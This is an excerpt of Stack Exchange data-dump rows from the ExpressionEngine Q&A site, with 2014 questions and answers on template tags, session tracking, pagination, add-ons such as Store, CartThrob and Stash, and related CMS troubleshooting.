  <row Id="26167" PostTypeId="1" AcceptedAnswerId="26168" CreationDate="2014-10-10T23:48:05.913" Score="0" ViewCount="108" Body="&lt;p&gt;I have a problem with DevDemon FreeMember where it relies on the native EE session tracker array (&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/session.html#tracker-array&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/usage/session.html#tracker-array&lt;/a&gt;) to perform a &quot;Return to Previous Page'. From mod.freemember.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function history($id)&#xA;{&#xA;    $tracker = ee()-&amp;gt;session-&amp;gt;tracker;&#xA;&#xA;    if (isset($tracker[$id])) {&#xA;        if ($tracker[$id] === 'index') {&#xA;            return '/';&#xA;        }&#xA;&#xA;        return $tracker[$id];&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If on the page prior to calling the FreeMember log-in form with the return parameter set to PREVIOUS_URL I have a template which references an ExpressionEngine CSS template then the 'Previous URL' is recorded in the session tracker as the CSS file and not the last 'page' viewed by the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way I can disable session tracking for a single particular front end template as to negate this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solved. I had the EE template I was using for my dynamic CSS set as a standard template, not a CSS template. The template parser in EE actually prevents JS and CSS templates from being added to the tracker array. :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="389" LastEditDate="2014-10-11T00:19:58.520" LastActivityDate="2015-08-09T06:56:39.747" Title="Disabling the session tracker for non HTML templates" Tags="|freemember|sessions|tracking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26168" PostTypeId="2" ParentId="26167" CreationDate="2014-10-11T00:20:22.803" Score="0" Body="&lt;p&gt;Solved. I had the EE template I was using for my dynamic CSS set as a standard template, not a CSS template. The template parser in EE actually prevents JS and CSS templates from being added to the tracker array. :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-10-11T00:20:22.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26169" PostTypeId="1" AcceptedAnswerId="26242" CreationDate="2014-10-11T02:02:20.323" Score="0" ViewCount="84" Body="&lt;p&gt;I'm trying to add comments as reviews to a store using the Devdemon Ratings module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The store runs over SSL and that's all fine, however when I add a comment:form to the mix, the form action isn't secure and therefore the SSL on the page throws out an insecure error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Securing forms on the rest of the site is easy, but I cannot find any example or anything in the documentation that explains how to secure comment forms. Is this possible or am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:form &#xA;    channel=&quot;products&quot; &#xA;    entry_id=&quot;{entry_id}&quot; &#xA;    dynamic=&quot;no&quot; &#xA;    rating:enabled=&quot;yes&quot;&#xA;    }&#xA;&#xA;    {if rating:not_rated}&#xA;        &amp;lt;a href=&quot;javascript:void(0);&quot; title=&quot;Write Review&quot; id=&quot;id_{entry_id}_review&quot; class=&quot;review&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-star&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;    {/if}&#xA;&#xA; {/exp:comment:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any fixes or workarounds appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3673" LastActivityDate="2014-10-15T11:36:04.787" Title="Secure Comment Form Action?" Tags="|forms|comments|ssl|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26170" PostTypeId="1" CreationDate="2014-10-11T13:38:18.263" Score="0" ViewCount="58" Body="&lt;p&gt;I have been using the following channel entries tag, thinking it was randomly selecting 2 entries from the channel on each page load, but it appears to be just selecting the first two and just ordering them randomly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;testimonials&quot; dynamic=&quot;no&quot; limit=&quot;2&quot; orderby=&quot;random&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me if there is a way to grab a random 2 entries from a channel on each page load?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-10-11T13:38:18.263" Title="Display 2 random entries from a channel in a random order" Tags="|channel-entries|channel|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26173" PostTypeId="1" CreationDate="2014-10-12T00:01:01.477" Score="1" ViewCount="16" Body="&lt;p&gt;Using EE 2.9.0 and Playa 4.5.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to delete a channel in ExpressionEngine and when I did I got this error. Please advise?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1146&#xA;&#xA;Table 'mydb.exp_relationships' doesn't exist&#xA;&#xA;DELETE FROM `exp_relationships` WHERE `parent_id` IN ('40')&#xA;&#xA;Filename: models/channel_model.php&#xA;&#xA;Line Number: 345&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1454" LastActivityDate="2014-10-12T00:01:01.477" Title="Database Error When I Delete a Channel in EE 2.9.0" Tags="|playa|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26175" PostTypeId="1" CreationDate="2014-10-12T14:10:15.273" Score="1" ViewCount="99" Body="&lt;p&gt;Who know, how to rename template directory?&#xA;From /themes/site_themes/agile_records&#xA;To /themes/site_themes/&lt;em&gt;custom_name&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3675" LastActivityDate="2014-11-11T14:49:14.853" Title="How to rename template folder in EE 2.9.2 ? (Free version)" Tags="|templates|themes|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26176" PostTypeId="2" ParentId="26175" CreationDate="2014-10-12T14:31:19.613" Score="2" Body="&lt;p&gt;it is not really template directory - it is folder for template presets which use during install. After installation only images/js use from this folder. To change it you will need to make search  &lt;em&gt;agile_records&lt;/em&gt; and replace  it with &lt;em&gt;custom_name&lt;/em&gt; in DB or in files (before install). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Folder for saving template files, you can setup in &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;CP Home -&gt; Design -&gt; Template Manager -&gt; Global Template Preferences&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-10-12T14:31:19.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26177" PostTypeId="1" CreationDate="2014-10-12T15:31:42.167" Score="1" ViewCount="121" Body="&lt;p&gt;I'm having a peculiar issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets works just fine when you're logged in as a super-admin, but when you're logged in as a member, the &lt;strong&gt;&quot;upload files&quot; button is disabled.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea what's causing this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is only 1 upload directory, and the &quot;members&quot; member group is &lt;strong&gt;allowed to upload&lt;/strong&gt; to this directory ( through file upload preferences ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, this member group has access to every part of the CP, &lt;strong&gt;no restrictions&lt;/strong&gt; what-so-ever ( all the privileges in the member group settings are set to &quot;yes&quot; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing ?&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-12-10T16:53:49.693" Title="Assets upload button disabled for members" Tags="|assets|add-on|pixelandtonic|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26181" PostTypeId="1" CreationDate="2014-10-13T02:01:58.077" Score="1" ViewCount="75" Body="&lt;p&gt;Can someone comment on if there is an advantage over Option 1 vs Option 2 or vice-versa. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Option 1 - Stash with LVs&#xA;&#xA;{exp:stash:set name=&quot;product_description&quot;}&#xA;{if segment_3 == 'content-management'}{lv_cm}{/if}&#xA;{if segment_3 == 'crm'}{lv_crm}{/if}&#xA;{if segment_3 == 'project-management'}{lv_pjm}{/if}&#xA;{if segment_3 == 'business-intelligence'}{lv_bi}{/if}&#xA;{if segment_3 == 'marketing-automation'}{lv_ma}{/if}&#xA;{/exp:stash:set}  &#xA;&#xA;{exp:stash:parse}   &#xA;&amp;lt;p&amp;gt;{stash:product_description}&amp;lt;/p&amp;gt;&#xA;{/exp:stash:parse}&#xA;&#xA;Option 2 - Low Variables only&#xA;&#xA;{if segment_3 == 'content-management'}{lv_cm}{/if}&#xA;{if segment_3 == 'crm'}{lv_crm}{/if}&#xA;{if segment_3 == 'project-management'}{lv_pjm}{/if}&#xA;{if segment_3 == 'business-intelligence'}{lv_bi}{/if}&#xA;{if segment_3 == 'marketing-automation'}{lv_ma}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any advice is appreciated!!&lt;/p&gt;&#xA;" OwnerUserId="2826" LastActivityDate="2015-04-14T14:55:26.677" Title="advantage of using Stash with LVs or Low Variables by itself" Tags="|stash|low-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26182" PostTypeId="1" CreationDate="2014-10-13T02:50:14.513" Score="0" ViewCount="153" Body="&lt;p&gt;I have a problem with url in js file&#xA;First, in Snippets i have code&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;In that init.js i have that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function($) {&#xA;&#xA;skel.init({&#xA;    reset: 'full',&#xA;    breakpoints: {&#xA;        global:     { range: '*', href: '{stylesheet=global_embeds/style}', containers: 1400, grid: { gutters: 50 } },&#xA;        wide:       { range: '-1680', href: '{stylesheet=global_embeds/style-wide}', containers: 1200, grid: { gutters: 40 } },&#xA;        normal:     { range: '-1280', href: '{stylesheet=global_embeds/style-normal}', containers: 960, grid: { gutters: 30 }, viewport: { scalable: false } },&#xA;        narrow:     { range: '-980', href: '{stylesheet=global_embeds/style-narrow}', containers: '95%', grid: { gutters: 20 } },&#xA;        narrower:   { range: '-840', href: '{stylesheet=global_embeds/style-narrower}', grid: { collapse: 1 } },&#xA;        mobile:     { range: '-736', href: '{stylesheet=global_embeds/style-mobile}', containers: '90%', grid: { gutters: 15 } },&#xA;        mobilep:    { range: '-480', href: '{stylesheet=global_embeds/style-mobilep}', grid: { collapse: 2 }, containers: '100%' }&#xA;    },&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In template group global_embeds i have all this files&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT link {stylesheet=global_embeds/style-mobile} doesn't work on js file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What to do? Who know? =(&lt;/p&gt;&#xA;" OwnerUserId="3683" LastActivityDate="2014-10-13T13:00:45.773" Title="Include CSS file in JS" Tags="|javascript|variable|snippets|global-variables|js|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26183" PostTypeId="2" ParentId="26182" CreationDate="2014-10-13T03:34:28.740" Score="2" Body="&lt;p&gt;First of all, the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/stylesheet.html#stylesheet-global-variable&quot; rel=&quot;nofollow&quot;&gt;stylesheet tag&lt;/a&gt; needs quotation marks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stylesheet=&quot;global_embeds/style&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you link to the JS file using &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/path.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;path&lt;/code&gt; variable&lt;/a&gt;, all the templates variables on the linked file will be parsed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{path=&quot;global_embeds/init.js&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I really don't think it's good for performance. It's much better to use static links for the JS and CSS.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-10-13T13:00:45.773" LastActivityDate="2014-10-13T13:00:45.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26184" PostTypeId="1" CreationDate="2014-10-13T04:17:52.407" Score="2" ViewCount="212" Body="&lt;p&gt;I've been looking to see if it was possible to use ExpressionEngine with an Percona XtraDB cluster, I have yet to find a verdict, the closest thing was the post below but there does not seem to be consensus as to whether or not it worked. Does anyone have experience using EE with any galera based replication tools. Further Does anyone have experience setting up EE in a redundant DB environment? We are deploying on AWS and would like to have a copy of the database in each availability zone. Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17280/expressionengine-with-percona-cluster&quot;&gt;ExpressionEngine with Percona Cluster?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3684" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-04-12T21:25:21.220" Title="ExpressionEngine database redundency" Tags="|ee2|database|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26185" PostTypeId="2" ParentId="26181" CreationDate="2014-10-13T05:03:18.767" Score="1" Body="&lt;p&gt;There'll be a slight hit to the stash version but if used correctly it can be utilized to cache the results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there's plus &amp;amp; minus to both versions.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-10-13T05:03:18.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26186" PostTypeId="2" ParentId="25883" CreationDate="2014-10-13T11:41:28.847" Score="0" Body="&lt;p&gt;Just upload the themes directory of the add-on that throwing error in console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should work.&lt;/p&gt;&#xA;" OwnerUserId="3060" LastActivityDate="2014-10-13T11:41:28.847" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26187" PostTypeId="1" CreationDate="2014-10-13T13:26:39.353" Score="0" ViewCount="50" Body="&lt;p&gt;I'm having this strange thing when I search for items in EE. Whenever I search for an item having the name &quot;89580.32&quot; this doesn't work. If I add a letter to it, it seems to work. The solution is obvious, just add a letter and that's how I was thinking about solving, though I will forever be wondering why this is as it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already tried: &#xA;- Changing the database field type to varchar&#xA;- Adding a number to make sure it would be indexed (because of it being to short maybe?)&#xA;- Deleting the point&#xA;...which all didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyone out there who can shed some light on this? I assume it's because of it being looked at as a number instead of text? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: It's when searching using the search:customer_field inside the EE channel entries tag&lt;/p&gt;&#xA;" OwnerUserId="3685" LastEditorUserId="3685" LastEditDate="2014-10-14T14:34:25.743" LastActivityDate="2014-10-14T14:34:25.743" Title="Expression engine search using a numbers" Tags="|search|custom-fields|fieldtype|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26188" PostTypeId="1" AcceptedAnswerId="27091" CreationDate="2014-10-13T14:21:32.827" Score="0" ViewCount="31" Body="&lt;p&gt;I've recently updated my installation of Store to 2.3.1. All seemed to be going smoothly, but my client has recently reported that surnames are going missing from peoples orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll break it down below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shipping name is captured as &lt;code&gt;{field:shipping_name} {error:shipping_name}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any name captured here is displayed correctly in the order admin screen:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/w4Cbx.png&quot; alt=&quot;Order Interface&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when trying to show this name in the confirmation email only the first name is displayed. The template code is: &lt;code&gt;{shipping_name}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking the member record the surname isn't being added to that either:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pSxi3.png&quot; alt=&quot;Member record&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I missed some template changes? Do I need to capture first and surname separately now?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;T&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2014-12-10T14:23:12.990" Title="Expresso Store: Shipping Name - Surname goes missing" Tags="|expresso-store|upgrade|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26189" PostTypeId="1" CreationDate="2014-10-13T16:12:36.007" Score="1" ViewCount="161" Body="&lt;p&gt;I would like to offer customers (who may have complex orders, with cart contents gathered over several weeks) the opportunity to save their cart for later, in order to complete their order on a subsequent visit, or visits. Is there any way to achieve this functionality with CartThrob?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that the wishlist addon allows customers to assemble a list of products which can later be added to a cart, but the likely scenario is that customers have already started adding products to their order, and then realise that they will need to complete it later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: it seems that CartThrob actually stores cart data in the DB and sets a cookie to associate user with cart. So perhaps it would just be necessary to modify Cartthrob_session.php to extend the length of the session cookie?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone confirm?&lt;/p&gt;&#xA;" OwnerUserId="2157" LastEditorUserId="2157" LastEditDate="2014-10-14T10:43:32.907" LastActivityDate="2016-06-12T11:29:37.563" Title="Is there any way to add 'save cart for later' functionality to CartThrob?" Tags="|cartthrob|shopping-cart|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26191" PostTypeId="1" CreationDate="2014-10-13T17:12:34.437" Score="0" ViewCount="65" Body="&lt;p&gt;I'm using Store 2.4 and EE 2.9. I've got a simple product with dynamic pricing to allow the user to set the price of this particular item.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product_form return=&quot;vanpool/store/checkout&quot;}&#xA;  {exp:store:product entry_id=&quot;19339&quot; disable_form=&quot;yes&quot;} &#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;item_qty&quot; value=&quot;1&quot; /&amp;gt;&#xA;&#xA;      &amp;lt;label class=&quot;field_label&quot; for=&quot;price&quot;&amp;gt;Amount to Pay *&amp;lt;/label&amp;gt;&#xA;      &amp;lt;input id=&quot;price&quot; class=&quot;large&quot; name=&quot;price&quot; type=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;&#xA;      &amp;lt;label class=&quot;field_label&quot; for=&quot;notes&quot;&amp;gt;Notes &amp;lt;/label&amp;gt;&#xA;      &amp;lt;textarea name=&quot;order_custom1&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Pay Now&quot; /&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&#xA;    {/exp:store:product}&#xA;{/exp:store:product_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried everything I could find here with regards to htaccess, trying different servers, etc. The form posts but the cart is never updated with the item. I've tried being logged in and logged out. I do see the orders being generated for the cart in the control panel but they're missing info: &lt;a href=&quot;http://cl.ly/image/1g1E0R0y2T2L&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/1g1E0R0y2T2L&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm completely stuck on this. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="55" LastEditDate="2015-01-11T22:25:14.703" LastActivityDate="2016-06-19T01:57:50.143" Title="Unable to add products to cart" Tags="|expresso-store|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26192" PostTypeId="1" CreationDate="2014-10-13T17:12:50.780" Score="0" ViewCount="44" Body="&lt;p&gt;Are there any EE Facebook addons that can create albums from multiple images in entry when sharing entry on Facebook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="584" LastActivityDate="2014-10-14T08:10:09.310" Title="Facebook addons for images" Tags="|add-on|facebook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26194" PostTypeId="2" ParentId="21487" CreationDate="2014-10-13T19:05:52.577" Score="0" Body="&lt;p&gt;I have run into a similar error which can usually be fixed by adjusting the notification template code but could not find any errors this time. Eventually managed to work around it by placing the following code in the extload.php file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;error_reporting(E_ALL &amp;amp; ~E_STRICT &amp;amp; ~E_NOTICE);&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2014-10-13T19:05:52.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26195" PostTypeId="2" ParentId="25892" CreationDate="2014-10-13T19:49:16.123" Score="1" Body="&lt;p&gt;The correct code for this is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{modifier_options}{if option_stock_level &amp;gt; 0}{option_name} - {option_stock_level} in stock{if:else}Out of Stock{/if}{/modifier_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-10-13T19:49:16.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26196" PostTypeId="1" CreationDate="2014-10-13T19:54:10.630" Score="0" ViewCount="44" Body="&lt;p&gt;I have the situation where I want to track how many entires have been submitted in a channel in the last month, the month before that and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I would want two know how many entries have been submitted within a month two month ago (I'm not saying August on purpose because it is important that it is dynamic and not static), how would I be able to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated&lt;/p&gt;&#xA;" OwnerUserId="3433" LastActivityDate="2014-10-13T19:54:10.630" Title="Count entries by time" Tags="|ee2|channel-entries|date|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26197" PostTypeId="1" CreationDate="2014-10-13T19:56:53.963" Score="0" ViewCount="132" Body="&lt;p&gt;I have read some of the other posts on pagination, but I have not been able to make the products page work with pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two things are not working for me:&#xA;1) paginate=&quot;bottom&quot;&#xA;2) links point to a P16 that does not exist and the system does not recognize that it is the second portion of the pagination&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;div id=&quot;container&quot; class=&quot;super-list variable-sizes clearfix&quot;&amp;gt;     &#xA;            {exp:channel:entries channel=&quot;products&quot; orderby=&quot;product_date&quot; show_expired=&quot;yes&quot; show_future_entries=&quot;yes&quot; sort=&quot;asc&quot; limit=&quot;16&quot; paginate=&quot;bottom&quot;}&#xA;            &amp;lt;div class=&quot;hover panel element {categories backspace=&quot;1&quot;}{category_url_title} {/categories}&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;front&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;{title_permalink=&quot;products&quot;}&quot;&amp;gt;&amp;lt;img src=&quot;{product_image}&quot; title=&quot;{title}&quot; alt=&quot;{title}&quot;/&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;back&quot; onClick=&quot;location.href='{title_permalink=&quot;products&quot;}';&quot; style=&quot;cursor: pointer; cursor: hand;&quot;&amp;gt;&#xA;                        &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{title_permalink=&quot;products&quot;}&quot; style=&quot;text-decoration: none;&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{title_permalink=&quot;products&quot;}&quot; style=&quot;text-decoration: none;&quot;&amp;gt;{product_short}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{title_permalink=&quot;products&quot;}&quot; class=&quot;button-more&quot;&amp;gt;Learn More&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;    {paginate}&#xA;    {if {total_pages} &amp;gt; 1}&#xA;    &amp;lt;nav class=&quot;centered&quot; role=&quot;toolbar&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;dots&quot;&amp;gt;&#xA;    {pagination_links page_padding=&quot;5&quot;}&#xA;    {previous_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;amp;laquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/previous_page}&#xA;&#xA;    {page}&amp;lt;li {if current_page}class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/page}&#xA;&#xA;    {next_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/next_page}&#xA;    {/pagination_links}&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/nav&amp;gt;&#xA;    {/if}&#xA;    {/paginate}&#xA;            {/exp:channel:entries}&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!--END container--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know from reading other posts that P16 is coming from the parameter limit=&quot;16&quot; and the links point to &lt;a href=&quot;http://mydomain.com/products/P16&quot; rel=&quot;nofollow&quot;&gt;http://mydomain.com/products/P16&lt;/a&gt; for both the previous and the next links???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They make it look so easy in the documentation, but I cannot get it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be appreciated. I will check in tomorrow hoping that my day starts off with a new fresh set of ideas - thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3145" LastActivityDate="2015-05-12T07:21:26.753" Title="Pagination not work" Tags="|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26199" PostTypeId="2" ParentId="26191" CreationDate="2014-10-13T20:29:15.260" Score="0" Body="&lt;p&gt;After trying everything I could think of, this is working as expected now. I'm sure I must have missed something simple along the way.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2014-10-13T20:29:15.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26200" PostTypeId="2" ParentId="26197" CreationDate="2014-10-13T20:31:30.620" Score="1" Body="&lt;p&gt;It looks like an issue with your conditional. Remove it. Everything inside &lt;code&gt;{paginate}&lt;/code&gt; will only be output if you have pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please try to do that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;    {pagination_links page_padding=&quot;5&quot;}&#xA;    &amp;lt;nav class=&quot;centered&quot; role=&quot;toolbar&quot;&amp;gt;&#xA;        &amp;lt;ul class=&quot;dots&quot;&amp;gt;&#xA;                {previous_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;amp;laquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/previous_page}&#xA;&#xA;                {page}&amp;lt;li {if current_page}class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/page}&#xA;&#xA;                {next_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/next_page}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/nav&amp;gt;&#xA;    {/pagination_links}&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-10-13T20:31:30.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
